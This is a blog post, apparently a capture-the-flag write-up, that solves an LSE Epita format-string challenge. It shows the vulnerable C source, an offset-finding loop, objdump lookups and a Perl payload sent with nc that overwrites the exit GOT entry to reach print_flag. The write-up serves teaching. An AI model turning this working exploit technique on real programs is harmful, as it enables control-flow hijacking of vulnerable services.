Time ago i can’t write on this blog. It’s normal when your time is full dedicated to work and study. Now, i have one hour to publish something related guess with ? Yes, ctf challenges :)
Since this is only 1 point level and i think is basic for everyone i’ve decided to publish the writeup. I have not mentioned LSE Epita CTF is a great french university event, i hope someone take the idea here in Spain.
We have a format string vulnerability, here is the code:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void print_flag() { char* flag = NULL; size_t n = 0; FILE *f = fopen("flag.txt", "r"); getline(&flag, &n, f); printf("Well played, the flag is: %s\n", flag); fflush(stdout); free(flag); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }
What we have here is another vuln() function with printf. We need to change the flow of the code and redirect to print_flag().
To achieve this, first, we need to know the buffer offset:
for i in {1..200};do echo "searching ... offset: $i - `echo AAAA%$i\\$08x | /media/sf_CTF_exploits/LSE-EPITA/format`"; done | grep AAAA41414141 searching ... offset: 4 - AAAA41414141
Just after printf on vuln() we have an exit call that we are going to use to overwrite GOT table with our print_flag().So, we need two main function address:
$ objdump -t format|grep print_flag 080485cb g F .text 00000080 print_flag $ objdump -TR format|grep exit 00000000 DF *UND* 00000000 GLIBC_2.0 _exit 00000000 DF *UND* 00000000 GLIBC_2.0 exit 0804a018 R_386_JUMP_SLOT _exit 0804a028 R_386_JUMP_SLOT exit
We overwrite the exit call address with our print_flag() one.
Because size, here we need to split
0x080485cb, target printflag() address.
0804 – 2052 (2052-8): two last bytes on print_flag
85cb – 34251 (34251-2052): two first bytes on print_flag
Putting all together:
$ perl -e 'print "\x2a\xa0\x04\x08"."\x28\xa0\x04\x08"."%2044d"."%4\$hn"."%32199d"."%5\$hn\n"'| nc -vvv lse.epita.fr 52129
Well played, the flag is: LSE{[REDACTED]}